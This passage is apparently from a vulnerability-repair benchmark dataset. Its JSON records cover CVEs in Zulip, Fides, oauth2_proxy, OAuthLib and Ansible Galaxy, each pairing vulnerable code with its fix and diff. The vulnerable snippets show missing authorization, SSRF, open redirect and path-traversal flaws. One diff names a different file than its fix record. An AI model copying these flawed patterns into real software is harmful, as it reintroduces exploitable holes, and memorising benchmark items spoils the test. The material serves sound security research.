{"cve_id": "CVE-2024-21630", "cve_description": "Zulip is an open-source team collaboration tool. A vulnerability in version 8.0 is similar to CVE-2023-32677, but applies to multi-use invitations, not single-use invitation links as in the prior CVE. Specifically, it applies when the installation has configured non-admins to be able to invite users and create multi-use invitations, and has also configured only admins to be able to invite users to streams. As in CVE-2023-32677, this does not let users invite new users to arbitrary streams, only to streams that the inviter can already see. Version 8.1 fixes this issue. As a workaround, administrators can limit sending of invitations down to users who also have the permission to add users to streams.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}}, "repo": "https://github.com/zulip/zulip", "patch_url": ["https://github.com/zulip/zulip/commit/0df7bd71f32f3b772e2646c6ab0d60c9b610addf"], "programing_language": "Python", "vul_func": [{"id": "vul_py_275_1", "commit": "bfcde65", "file_path": "zerver/views/invite.py", "start_line": 190, "end_line": 232, "snippet": "def generate_multiuse_invite_backend(\n    request: HttpRequest,\n    user_profile: UserProfile,\n    invite_expires_in_minutes: Optional[int] = REQ(\n        json_validator=check_none_or(check_int), default=INVITATION_LINK_VALIDITY_MINUTES\n    ),\n    invite_as: int = REQ(\n        json_validator=check_int_in(\n            list(PreregistrationUser.INVITE_AS.values()),\n        ),\n        default=PreregistrationUser.INVITE_AS[\"MEMBER\"],\n    ),\n    stream_ids: Sequence[int] = REQ(json_validator=check_list(check_int), default=[]),\n) -> HttpResponse:\n    if not user_profile.can_create_multiuse_invite_to_realm():\n        # Guest users case will not be handled here as it will\n        # be handled by the decorator above.\n        raise JsonableError(_(\"Insufficient permission\"))\n\n    require_admin = invite_as in [\n        # Owners can only be invited by owners, checked by separate\n        # logic in check_role_based_permissions.\n        PreregistrationUser.INVITE_AS[\"REALM_OWNER\"],\n        PreregistrationUser.INVITE_AS[\"REALM_ADMIN\"],\n        PreregistrationUser.INVITE_AS[\"MODERATOR\"],\n    ]\n    check_role_based_permissions(invite_as, user_profile, require_admin=require_admin)\n\n    streams = []\n    for stream_id in stream_ids:\n        try:\n            (stream, sub) = access_stream_by_id(user_profile, stream_id)\n        except JsonableError:\n            raise JsonableError(\n                _(\"Invalid stream ID {stream_id}. No invites were sent.\").format(\n                    stream_id=stream_id\n                )\n            )\n        streams.append(stream)\n\n    invite_link = do_create_multiuse_invite_link(\n        user_profile, invite_as, invite_expires_in_minutes, streams\n    )"}], "fix_func": [{"id": "fix_py_275_1", "commit": "0df7bd71f32f3b772e2646c6ab0d60c9b610addf", "file_path": "zerver/views/invite.py", "start_line": 190, "end_line": 235, "snippet": "def generate_multiuse_invite_backend(\n    request: HttpRequest,\n    user_profile: UserProfile,\n    invite_expires_in_minutes: Optional[int] = REQ(\n        json_validator=check_none_or(check_int), default=INVITATION_LINK_VALIDITY_MINUTES\n    ),\n    invite_as: int = REQ(\n        json_validator=check_int_in(\n            list(PreregistrationUser.INVITE_AS.values()),\n        ),\n        default=PreregistrationUser.INVITE_AS[\"MEMBER\"],\n    ),\n    stream_ids: Sequence[int] = REQ(json_validator=check_list(check_int), default=[]),\n) -> HttpResponse:\n    if not user_profile.can_create_multiuse_invite_to_realm():\n        # Guest users case will not be handled here as it will\n        # be handled by the decorator above.\n        raise JsonableError(_(\"Insufficient permission\"))\n\n    require_admin = invite_as in [\n        # Owners can only be invited by owners, checked by separate\n        # logic in check_role_based_permissions.\n        PreregistrationUser.INVITE_AS[\"REALM_OWNER\"],\n        PreregistrationUser.INVITE_AS[\"REALM_ADMIN\"],\n        PreregistrationUser.INVITE_AS[\"MODERATOR\"],\n    ]\n    check_role_based_permissions(invite_as, user_profile, require_admin=require_admin)\n\n    streams = []\n    for stream_id in stream_ids:\n        try:\n            (stream, sub) = access_stream_by_id(user_profile, stream_id)\n        except JsonableError:\n            raise JsonableError(\n                _(\"Invalid stream ID {stream_id}. No invites were sent.\").format(\n                    stream_id=stream_id\n                )\n            )\n        streams.append(stream)\n\n    if len(streams) and not user_profile.can_subscribe_other_users():\n        raise JsonableError(_(\"You do not have permission to subscribe other users to streams.\"))\n\n    invite_link = do_create_multiuse_invite_link(\n        user_profile, invite_as, invite_expires_in_minutes, streams\n    )"}], "vul_patch": "--- a/zerver/views/invite.py\n+++ b/zerver/views/invite.py\n@@ -38,6 +38,9 @@\n             )\n         streams.append(stream)\n \n+    if len(streams) and not user_profile.can_subscribe_other_users():\n+        raise JsonableError(_(\"You do not have permission to subscribe other users to streams.\"))\n+\n     invite_link = do_create_multiuse_invite_link(\n         user_profile, invite_as, invite_expires_in_minutes, streams\n     )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-46124", "cve_description": "Fides is an open-source privacy engineering platform for managing the fulfillment of data privacy requests in runtime environments, and the enforcement of privacy regulations in code. The Fides web application allows a custom integration to be uploaded as a ZIP file containing configuration and dataset definitions in YAML format. It was discovered that specially crafted YAML dataset and config files allow a malicious user to perform arbitrary requests to internal systems and exfiltrate data outside the environment (also known as a Server-Side Request Forgery). The application does not perform proper validation to block attempts to connect to internal (including localhost) resources. The vulnerability has been patched in Fides version `2.22.1`. ", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/ethyca/fides", "patch_url": ["https://github.com/ethyca/fides/commit/cd344d016b1441662a61d0759e7913e8228ed1ee"], "programing_language": "Python", "vul_func": [{"id": "vul_py_165_1", "commit": "3231d19", "file_path": "src/fides/api/service/connectors/saas/authenticated_client.py", "start_line": 189, "end_line": 224, "snippet": "    def send(\n        self,\n        request_params: SaaSRequestParams,\n        ignore_errors: Optional[Union[bool, List[int]]] = False,\n    ) -> Response:\n        \"\"\"\n        Builds and executes an authenticated request.\n        Optionally ignores:\n          - all non-2xx/3xx responses if ignore_errors is set to True\n          - no non-2xx/3xx repsones if ignore_errors is set to False\n          - specific non-2xx/3xx responses if ignore_errors is set to a list of status codes\n        \"\"\"\n        rate_limit_requests = self.build_rate_limit_requests()\n        RateLimiter().limit(rate_limit_requests)\n\n        prepared_request: PreparedRequest = self.get_authenticated_request(\n            request_params\n        )\n        response = self.session.send(prepared_request)\n\n        log_request_and_response_for_debugging(\n            prepared_request, response\n        )  # Dev mode only\n\n        if not response.ok:\n            if self._should_ignore_error(\n                status_code=response.status_code,\n                errors_to_ignore=ignore_errors,\n            ):\n                logger.info(\n                    \"Ignoring errors on response with status code {} as configured.\",\n                    response.status_code,\n                )\n                return response\n            raise RequestFailureResponseException(response=response)\n        return response"}], "fix_func": [{"id": "fix_py_165_1", "commit": "cd344d0", "file_path": "src/fides/api/service/connectors/saas/authenticated_client.py", "start_line": 191, "end_line": 232, "snippet": "    def send(\n        self,\n        request_params: SaaSRequestParams,\n        ignore_errors: Optional[Union[bool, List[int]]] = False,\n    ) -> Response:\n        \"\"\"\n        Builds and executes an authenticated request.\n        Optionally ignores:\n          - all non-2xx/3xx responses if ignore_errors is set to True\n          - no non-2xx/3xx responses if ignore_errors is set to False\n          - specific non-2xx/3xx responses if ignore_errors is set to a list of status codes\n        \"\"\"\n        rate_limit_requests = self.build_rate_limit_requests()\n        RateLimiter().limit(rate_limit_requests)\n\n        prepared_request: PreparedRequest = self.get_authenticated_request(\n            request_params\n        )\n        if not prepared_request.url:\n            raise ValueError(\"The URL for the prepared request is missing.\")\n\n        # extract the hostname from the complete URL and verify its safety\n        deny_unsafe_hosts(urlparse(prepared_request.url).netloc)\n\n        response = self.session.send(prepared_request)\n\n        log_request_and_response_for_debugging(\n            prepared_request, response\n        )  # Dev mode only\n\n        if not response.ok:\n            if self._should_ignore_error(\n                status_code=response.status_code,\n                errors_to_ignore=ignore_errors,\n            ):\n                logger.info(\n                    \"Ignoring errors on response with status code {} as configured.\",\n                    response.status_code,\n                )\n                return response\n            raise RequestFailureResponseException(response=response)\n        return response"}, {"id": "fix_py_165_2", "commit": "cd344d0", "file_path": "src/fides/api/util/saas_util.py", "start_line": 30, "end_line": 48, "snippet": "def deny_unsafe_hosts(host: str) -> str:\n    \"\"\"\n    Verify that the provided host isn't a potentially unsafe one.\n\n    WARNING: IPv6 is _not_ supported and will throw an exception!\n    \"\"\"\n    if CONFIG.dev_mode:\n        return host\n\n    try:\n        host_ip: Union[IPv4Address, IPv6Address] = ip_address(\n            socket.gethostbyname(host)\n        )\n    except socket.gaierror:\n        raise ValueError(f\"Failed to resolve hostname: {host}\")\n\n    if host_ip.is_link_local or host_ip.is_loopback:\n        raise ValueError(f\"Host '{host}' with IP Address '{host_ip}' is not safe!\")\n    return host"}], "vul_patch": "--- a/src/fides/api/service/connectors/saas/authenticated_client.py\n+++ b/src/fides/api/service/connectors/saas/authenticated_client.py\n@@ -7,7 +7,7 @@\n         Builds and executes an authenticated request.\n         Optionally ignores:\n           - all non-2xx/3xx responses if ignore_errors is set to True\n-          - no non-2xx/3xx repsones if ignore_errors is set to False\n+          - no non-2xx/3xx responses if ignore_errors is set to False\n           - specific non-2xx/3xx responses if ignore_errors is set to a list of status codes\n         \"\"\"\n         rate_limit_requests = self.build_rate_limit_requests()\n@@ -16,6 +16,12 @@\n         prepared_request: PreparedRequest = self.get_authenticated_request(\n             request_params\n         )\n+        if not prepared_request.url:\n+            raise ValueError(\"The URL for the prepared request is missing.\")\n+\n+        # extract the hostname from the complete URL and verify its safety\n+        deny_unsafe_hosts(urlparse(prepared_request.url).netloc)\n+\n         response = self.session.send(prepared_request)\n \n         log_request_and_response_for_debugging(\n\n--- /dev/null\n+++ b/src/fides/api/service/connectors/saas/authenticated_client.py\n@@ -0,0 +1,19 @@\n+def deny_unsafe_hosts(host: str) -> str:\n+    \"\"\"\n+    Verify that the provided host isn't a potentially unsafe one.\n+\n+    WARNING: IPv6 is _not_ supported and will throw an exception!\n+    \"\"\"\n+    if CONFIG.dev_mode:\n+        return host\n+\n+    try:\n+        host_ip: Union[IPv4Address, IPv6Address] = ip_address(\n+            socket.gethostbyname(host)\n+        )\n+    except socket.gaierror:\n+        raise ValueError(f\"Failed to resolve hostname: {host}\")\n+\n+    if host_ip.is_link_local or host_ip.is_loopback:\n+        raise ValueError(f\"Host '{host}' with IP Address '{host_ip}' is not safe!\")\n+    return host\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2017-1000070", "cve_description": "The Bitly oauth2_proxy in version 2.1 and earlier was affected by an open redirect vulnerability during the start and termination of the 2-legged OAuth flow. This issue was caused by improper input validation and a violation of RFC-6819", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/bitly/oauth2_proxy", "patch_url": ["https://github.com/bitly/oauth2_proxy/commit/289a6ccf463a425c7606178c510fc5eeb9c8b050"], "programing_language": "Go", "vul_func": [{"id": "vul_go_121_1", "commit": "712739f", "file_path": "oauthproxy.go", "start_line": 470, "end_line": 511, "snippet": "func (p *OAuthProxy) OAuthCallback(rw http.ResponseWriter, req *http.Request) {\n\tremoteAddr := getRemoteAddr(req)\n\n\t// finish the oauth cycle\n\terr := req.ParseForm()\n\tif err != nil {\n\t\tp.ErrorPage(rw, 500, \"Internal Error\", err.Error())\n\t\treturn\n\t}\n\terrorString := req.Form.Get(\"error\")\n\tif errorString != \"\" {\n\t\tp.ErrorPage(rw, 403, \"Permission Denied\", errorString)\n\t\treturn\n\t}\n\n\tsession, err := p.redeemCode(req.Host, req.Form.Get(\"code\"))\n\tif err != nil {\n\t\tlog.Printf(\"%s error redeeming code %s\", remoteAddr, err)\n\t\tp.ErrorPage(rw, 500, \"Internal Error\", \"Internal Error\")\n\t\treturn\n\t}\n\n\tredirect := req.Form.Get(\"state\")\n\tif !strings.HasPrefix(redirect, \"/\") {\n\t\tredirect = \"/\"\n\t}\n\n\t// set cookie, or deny\n\tif p.Validator(session.Email) && p.provider.ValidateGroup(session.Email) {\n\t\tlog.Printf(\"%s authentication complete %s\", remoteAddr, session)\n\t\terr := p.SaveSession(rw, req, session)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"%s %s\", remoteAddr, err)\n\t\t\tp.ErrorPage(rw, 500, \"Internal Error\", \"Internal Error\")\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(rw, req, redirect, 302)\n\t} else {\n\t\tlog.Printf(\"%s Permission Denied: %q is unauthorized\", remoteAddr, session.Email)\n\t\tp.ErrorPage(rw, 403, \"Permission Denied\", \"Invalid Account\")\n\t}\n}"}, {"id": "vul_go_121_2", "commit": "712739f", "file_path": "providers/provider_default.go", "start_line": 82, "end_line": 96, "snippet": "func (p *ProviderData) GetLoginURL(redirectURI, finalRedirect string) string {\n\tvar a url.URL\n\ta = *p.LoginURL\n\tparams, _ := url.ParseQuery(a.RawQuery)\n\tparams.Set(\"redirect_uri\", redirectURI)\n\tparams.Set(\"approval_prompt\", p.ApprovalPrompt)\n\tparams.Add(\"scope\", p.Scope)\n\tparams.Set(\"client_id\", p.ClientID)\n\tparams.Set(\"response_type\", \"code\")\n\tif strings.HasPrefix(finalRedirect, \"/\") {\n\t\tparams.Add(\"state\", finalRedirect)\n\t}\n\ta.RawQuery = params.Encode()\n\treturn a.String()\n}"}], "fix_func": [{"id": "fix_go_121_1", "commit": "289a6cc", "file_path": "oauthproxy.go", "start_line": 470, "end_line": 511, "snippet": "func (p *OAuthProxy) OAuthCallback(rw http.ResponseWriter, req *http.Request) {\n\tremoteAddr := getRemoteAddr(req)\n\n\t// finish the oauth cycle\n\terr := req.ParseForm()\n\tif err != nil {\n\t\tp.ErrorPage(rw, 500, \"Internal Error\", err.Error())\n\t\treturn\n\t}\n\terrorString := req.Form.Get(\"error\")\n\tif errorString != \"\" {\n\t\tp.ErrorPage(rw, 403, \"Permission Denied\", errorString)\n\t\treturn\n\t}\n\n\tsession, err := p.redeemCode(req.Host, req.Form.Get(\"code\"))\n\tif err != nil {\n\t\tlog.Printf(\"%s error redeeming code %s\", remoteAddr, err)\n\t\tp.ErrorPage(rw, 500, \"Internal Error\", \"Internal Error\")\n\t\treturn\n\t}\n\n\tredirect := req.Form.Get(\"state\")\n\tif !strings.HasPrefix(redirect, \"/\")  || strings.HasPrefix(redirect, \"//\") {\n\t\tredirect = \"/\"\n\t}\n\n\t// set cookie, or deny\n\tif p.Validator(session.Email) && p.provider.ValidateGroup(session.Email) {\n\t\tlog.Printf(\"%s authentication complete %s\", remoteAddr, session)\n\t\terr := p.SaveSession(rw, req, session)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"%s %s\", remoteAddr, err)\n\t\t\tp.ErrorPage(rw, 500, \"Internal Error\", \"Internal Error\")\n\t\t\treturn\n\t\t}\n\t\thttp.Redirect(rw, req, redirect, 302)\n\t} else {\n\t\tlog.Printf(\"%s Permission Denied: %q is unauthorized\", remoteAddr, session.Email)\n\t\tp.ErrorPage(rw, 403, \"Permission Denied\", \"Invalid Account\")\n\t}\n}"}, {"id": "fix_go_121_2", "commit": "289a6cc", "file_path": "providers/provider_default.go", "start_line": 82, "end_line": 96, "snippet": "func (p *ProviderData) GetLoginURL(redirectURI, finalRedirect string) string {\n\tvar a url.URL\n\ta = *p.LoginURL\n\tparams, _ := url.ParseQuery(a.RawQuery)\n\tparams.Set(\"redirect_uri\", redirectURI)\n\tparams.Set(\"approval_prompt\", p.ApprovalPrompt)\n\tparams.Add(\"scope\", p.Scope)\n\tparams.Set(\"client_id\", p.ClientID)\n\tparams.Set(\"response_type\", \"code\")\n\tif strings.HasPrefix(finalRedirect, \"/\") && !strings.HasPrefix(finalRedirect,\"//\") {\n\t\tparams.Add(\"state\", finalRedirect)\n\t}\n\ta.RawQuery = params.Encode()\n\treturn a.String()\n}"}], "vul_patch": "--- a/oauthproxy.go\n+++ b/oauthproxy.go\n@@ -21,7 +21,7 @@\n \t}\n \n \tredirect := req.Form.Get(\"state\")\n-\tif !strings.HasPrefix(redirect, \"/\") {\n+\tif !strings.HasPrefix(redirect, \"/\")  || strings.HasPrefix(redirect, \"//\") {\n \t\tredirect = \"/\"\n \t}\n \n\n--- a/providers/provider_default.go\n+++ b/providers/provider_default.go\n@@ -7,7 +7,7 @@\n \tparams.Add(\"scope\", p.Scope)\n \tparams.Set(\"client_id\", p.ClientID)\n \tparams.Set(\"response_type\", \"code\")\n-\tif strings.HasPrefix(finalRedirect, \"/\") {\n+\tif strings.HasPrefix(finalRedirect, \"/\") && !strings.HasPrefix(finalRedirect,\"//\") {\n \t\tparams.Add(\"state\", finalRedirect)\n \t}\n \ta.RawQuery = params.Encode()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-36087", "cve_description": "OAuthLib is an implementation of the OAuth request-signing logic for Python 3.6+. In OAuthLib versions 3.1.1 until 3.2.1, an attacker providing malicious redirect uri can cause denial of service. An attacker can also leverage usage of `uri_validate` functions depending where it is used. OAuthLib applications using OAuth2.0 provider support or use directly `uri_validate` are affected by this issue. Version 3.2.1 contains a patch. There are no known workarounds.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/oauthlib/oauthlib", "patch_url": ["https://github.com/oauthlib/oauthlib/commit/2e40b412c844ecc4673c3fa3f72181f228bdbacd"], "programing_language": "Python", "vul_func": [{"id": "vul_py_57_1", "commit": "b4bdd09", "file_path": "oauthlib/uri_validate.py", "start_line": 68, "end_line": 69, "snippet": "#   IPv6address\nIPv6address = r\"([A-Fa-f0-9:]+:+)+[A-Fa-f0-9]+\""}], "fix_func": [{"id": "fix_py_57_1", "commit": "2e40b41", "file_path": "oauthlib/uri_validate.py", "start_line": 69, "end_line": 69, "snippet": "IPv6address = r\"([A-Fa-f0-9:]+[:$])[A-Fa-f0-9]{1,4}\""}], "vul_patch": "--- a/oauthlib/uri_validate.py\n+++ b/oauthlib/uri_validate.py\n@@ -1,2 +1 @@\n-#   IPv6address\n-IPv6address = r\"([A-Fa-f0-9:]+:+)+[A-Fa-f0-9]+\"\n+IPv6address = r\"([A-Fa-f0-9:]+[:$])[A-Fa-f0-9]{1,4}\"\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-36087:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/oauthlib\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-36087/bin/python -m pytest tests/test_uri_validate.py\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-36087:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/oauthlib\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-36087/bin/python -m pytest tests/ -v -k \"not test_rsa_bad_keys\""}
{"cve_id": "CVE-2023-5115", "cve_description": "An absolute path traversal attack exists in the Ansible automation platform. This flaw allows an attacker to craft a malicious Ansible role and make the victim execute the role. A symlink can be used to overwrite a file outside of the extraction path.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/ansible/ansible", "patch_url": ["https://github.com/ansible/ansible/commit/1e930684bc0a76ec3d094cd326738ad26416541c"], "programing_language": "Python", "vul_func": [{"id": "vul_py_364_1", "commit": "f87ed972e88e0d3feaf98ba4517199172a5c33d8", "file_path": "lib/ansible/galaxy/role.py", "start_line": 272, "end_line": 433, "snippet": "    def install(self):\n\n        if self.scm:\n            # create tar file from scm url\n            tmp_file = RoleRequirement.scm_archive_role(keep_scm_meta=context.CLIARGS['keep_scm_meta'], **self.spec)\n        elif self.src:\n            if os.path.isfile(self.src):\n                tmp_file = self.src\n            elif '://' in self.src:\n                role_data = self.src\n                tmp_file = self.fetch(role_data)\n            else:\n                role_data = self.api.lookup_role_by_name(self.src)\n                if not role_data:\n                    raise AnsibleError(\"- sorry, %s was not found on %s.\" % (self.src, self.api.api_server))\n\n                if role_data.get('role_type') == 'APP':\n                    # Container Role\n                    display.warning(\"%s is a Container App role, and should only be installed using Ansible \"\n                                    \"Container\" % self.name)\n\n                role_versions = self.api.fetch_role_related('versions', role_data['id'])\n                if not self.version:\n                    # convert the version names to LooseVersion objects\n                    # and sort them to get the latest version. If there\n                    # are no versions in the list, we'll grab the head\n                    # of the master branch\n                    if len(role_versions) > 0:\n                        loose_versions = [LooseVersion(a.get('name', None)) for a in role_versions]\n                        try:\n                            loose_versions.sort()\n                        except TypeError:\n                            raise AnsibleError(\n                                'Unable to compare role versions (%s) to determine the most recent version due to incompatible version formats. '\n                                'Please contact the role author to resolve versioning conflicts, or specify an explicit role version to '\n                                'install.' % ', '.join([v.vstring for v in loose_versions])\n                            )\n                        self.version = to_text(loose_versions[-1])\n                    elif role_data.get('github_branch', None):\n                        self.version = role_data['github_branch']\n                    else:\n                        self.version = 'master'\n                elif self.version != 'master':\n                    if role_versions and to_text(self.version) not in [a.get('name', None) for a in role_versions]:\n                        raise AnsibleError(\"- the specified version (%s) of %s was not found in the list of available versions (%s).\" % (self.version,\n                                                                                                                                         self.name,\n                                                                                                                                         role_versions))\n\n                # check if there's a source link/url for our role_version\n                for role_version in role_versions:\n                    if role_version['name'] == self.version and 'source' in role_version:\n                        self.src = role_version['source']\n                    if role_version['name'] == self.version and 'download_url' in role_version:\n                        self.download_url = role_version['download_url']\n\n                tmp_file = self.fetch(role_data)\n\n        else:\n            raise AnsibleError(\"No valid role data found\")\n\n        if tmp_file:\n\n            display.debug(\"installing from %s\" % tmp_file)\n\n            if not tarfile.is_tarfile(tmp_file):\n                raise AnsibleError(\"the downloaded file does not appear to be a valid tar archive.\")\n            else:\n                role_tar_file = tarfile.open(tmp_file, \"r\")\n                # verify the role's meta file\n                meta_file = None\n                members = role_tar_file.getmembers()\n                # next find the metadata file\n                for member in members:\n                    for meta_main in self.META_MAIN:\n                        if meta_main in member.name:\n                            # Look for parent of meta/main.yml\n                            # Due to possibility of sub roles each containing meta/main.yml\n                            # look for shortest length parent\n                            meta_parent_dir = os.path.dirname(os.path.dirname(member.name))\n                            if not meta_file:\n                                archive_parent_dir = meta_parent_dir\n                                meta_file = member\n                            else:\n                                if len(meta_parent_dir) < len(archive_parent_dir):\n                                    archive_parent_dir = meta_parent_dir\n                                    meta_file = member\n                if not meta_file:\n                    raise AnsibleError(\"this role does not appear to have a meta/main.yml file.\")\n                else:\n                    try:\n                        self._metadata = yaml_load(role_tar_file.extractfile(meta_file))\n                    except Exception:\n                        raise AnsibleError(\"this role does not appear to have a valid meta/main.yml file.\")\n\n                paths = self.paths\n                if self.path != paths[0]:\n                    # path can be passed though __init__\n                    # FIXME should this be done in __init__?\n                    paths[:0] = self.path\n                paths_len = len(paths)\n                for idx, path in enumerate(paths):\n                    self.path = path\n                    display.display(\"- extracting %s to %s\" % (self.name, self.path))\n                    try:\n                        if os.path.exists(self.path):\n                            if not os.path.isdir(self.path):\n                                raise AnsibleError(\"the specified roles path exists and is not a directory.\")\n                            elif not context.CLIARGS.get(\"force\", False):\n                                raise AnsibleError(\"the specified role %s appears to already exist. Use --force to replace it.\" % self.name)\n                            else:\n                                # using --force, remove the old path\n                                if not self.remove():\n                                    raise AnsibleError(\"%s doesn't appear to contain a role.\\n  please remove this directory manually if you really \"\n                                                       \"want to put the role here.\" % self.path)\n                        else:\n                            os.makedirs(self.path)\n\n                        # We strip off any higher-level directories for all of the files\n                        # contained within the tar file here. The default is 'github_repo-target'.\n                        # Gerrit instances, on the other hand, does not have a parent directory at all.\n                        for member in members:\n                            # we only extract files, and remove any relative path\n                            # bits that might be in the file for security purposes\n                            # and drop any containing directory, as mentioned above\n                            if member.isreg() or member.issym():\n                                n_member_name = to_native(member.name)\n                                n_archive_parent_dir = to_native(archive_parent_dir)\n                                n_parts = n_member_name.replace(n_archive_parent_dir, \"\", 1).split(os.sep)\n                                n_final_parts = []\n                                for n_part in n_parts:\n                                    # TODO if the condition triggers it produces a broken installation.\n                                    # It will create the parent directory as an empty file and will\n                                    # explode if the directory contains valid files.\n                                    # Leaving this as is since the whole module needs a rewrite.\n                                    if n_part != '..' and not n_part.startswith('~') and '$' not in n_part:\n                                        n_final_parts.append(n_part)\n                                member.name = os.path.join(*n_final_parts)\n\n                                if _check_working_data_filter():\n                                    # deprecated: description='extract fallback without filter' python_version='3.11'\n                                    role_tar_file.extract(member, to_native(self.path), filter='data')  # type: ignore[call-arg]\n                                else:\n                                    role_tar_file.extract(member, to_native(self.path))\n\n                        # write out the install info file for later use\n                        self._write_galaxy_install_info()\n                        break\n                    except OSError as e:\n                        if e.errno == errno.EACCES and idx < paths_len - 1:\n                            continue\n                        raise AnsibleError(\"Could not update files in %s: %s\" % (self.path, to_native(e)))\n\n                # return the parsed yaml metadata\n                display.display(\"- %s was installed successfully\" % str(self))\n                if not (self.src and os.path.isfile(self.src)):\n                    try:\n                        os.unlink(tmp_file)\n                    except (OSError, IOError) as e:\n                        display.warning(u\"Unable to remove tmp file (%s): %s\" % (tmp_file, to_text(e)))\n                return True\n\n        return False"}], "fix_func": [{"id": "fix_py_364_1", "commit": "1e930684bc0a76ec3d094cd326738ad26416541c", "file_path": "lib/ansible/galaxy/role.py", "start_line": 272, "end_line": 451, "snippet": "    def install(self):\n\n        if self.scm:\n            # create tar file from scm url\n            tmp_file = RoleRequirement.scm_archive_role(keep_scm_meta=context.CLIARGS['keep_scm_meta'], **self.spec)\n        elif self.src:\n            if os.path.isfile(self.src):\n                tmp_file = self.src\n            elif '://' in self.src:\n                role_data = self.src\n                tmp_file = self.fetch(role_data)\n            else:\n                role_data = self.api.lookup_role_by_name(self.src)\n                if not role_data:\n                    raise AnsibleError(\"- sorry, %s was not found on %s.\" % (self.src, self.api.api_server))\n\n                if role_data.get('role_type') == 'APP':\n                    # Container Role\n                    display.warning(\"%s is a Container App role, and should only be installed using Ansible \"\n                                    \"Container\" % self.name)\n\n                role_versions = self.api.fetch_role_related('versions', role_data['id'])\n                if not self.version:\n                    # convert the version names to LooseVersion objects\n                    # and sort them to get the latest version. If there\n                    # are no versions in the list, we'll grab the head\n                    # of the master branch\n                    if len(role_versions) > 0:\n                        loose_versions = [LooseVersion(a.get('name', None)) for a in role_versions]\n                        try:\n                            loose_versions.sort()\n                        except TypeError:\n                            raise AnsibleError(\n                                'Unable to compare role versions (%s) to determine the most recent version due to incompatible version formats. '\n                                'Please contact the role author to resolve versioning conflicts, or specify an explicit role version to '\n                                'install.' % ', '.join([v.vstring for v in loose_versions])\n                            )\n                        self.version = to_text(loose_versions[-1])\n                    elif role_data.get('github_branch', None):\n                        self.version = role_data['github_branch']\n                    else:\n                        self.version = 'master'\n                elif self.version != 'master':\n                    if role_versions and to_text(self.version) not in [a.get('name', None) for a in role_versions]:\n                        raise AnsibleError(\"- the specified version (%s) of %s was not found in the list of available versions (%s).\" % (self.version,\n                                                                                                                                         self.name,\n                                                                                                                                         role_versions))\n\n                # check if there's a source link/url for our role_version\n                for role_version in role_versions:\n                    if role_version['name'] == self.version and 'source' in role_version:\n                        self.src = role_version['source']\n                    if role_version['name'] == self.version and 'download_url' in role_version:\n                        self.download_url = role_version['download_url']\n\n                tmp_file = self.fetch(role_data)\n\n        else:\n            raise AnsibleError(\"No valid role data found\")\n\n        if tmp_file:\n\n            display.debug(\"installing from %s\" % tmp_file)\n\n            if not tarfile.is_tarfile(tmp_file):\n                raise AnsibleError(\"the downloaded file does not appear to be a valid tar archive.\")\n            else:\n                role_tar_file = tarfile.open(tmp_file, \"r\")\n                # verify the role's meta file\n                meta_file = None\n                members = role_tar_file.getmembers()\n                # next find the metadata file\n                for member in members:\n                    for meta_main in self.META_MAIN:\n                        if meta_main in member.name:\n                            # Look for parent of meta/main.yml\n                            # Due to possibility of sub roles each containing meta/main.yml\n                            # look for shortest length parent\n                            meta_parent_dir = os.path.dirname(os.path.dirname(member.name))\n                            if not meta_file:\n                                archive_parent_dir = meta_parent_dir\n                                meta_file = member\n                            else:\n                                if len(meta_parent_dir) < len(archive_parent_dir):\n                                    archive_parent_dir = meta_parent_dir\n                                    meta_file = member\n                if not meta_file:\n                    raise AnsibleError(\"this role does not appear to have a meta/main.yml file.\")\n                else:\n                    try:\n                        self._metadata = yaml_load(role_tar_file.extractfile(meta_file))\n                    except Exception:\n                        raise AnsibleError(\"this role does not appear to have a valid meta/main.yml file.\")\n\n                paths = self.paths\n                if self.path != paths[0]:\n                    # path can be passed though __init__\n                    # FIXME should this be done in __init__?\n                    paths[:0] = self.path\n                paths_len = len(paths)\n                for idx, path in enumerate(paths):\n                    self.path = path\n                    display.display(\"- extracting %s to %s\" % (self.name, self.path))\n                    try:\n                        if os.path.exists(self.path):\n                            if not os.path.isdir(self.path):\n                                raise AnsibleError(\"the specified roles path exists and is not a directory.\")\n                            elif not context.CLIARGS.get(\"force\", False):\n                                raise AnsibleError(\"the specified role %s appears to already exist. Use --force to replace it.\" % self.name)\n                            else:\n                                # using --force, remove the old path\n                                if not self.remove():\n                                    raise AnsibleError(\"%s doesn't appear to contain a role.\\n  please remove this directory manually if you really \"\n                                                       \"want to put the role here.\" % self.path)\n                        else:\n                            os.makedirs(self.path)\n\n                        # We strip off any higher-level directories for all of the files\n                        # contained within the tar file here. The default is 'github_repo-target'.\n                        # Gerrit instances, on the other hand, does not have a parent directory at all.\n                        for member 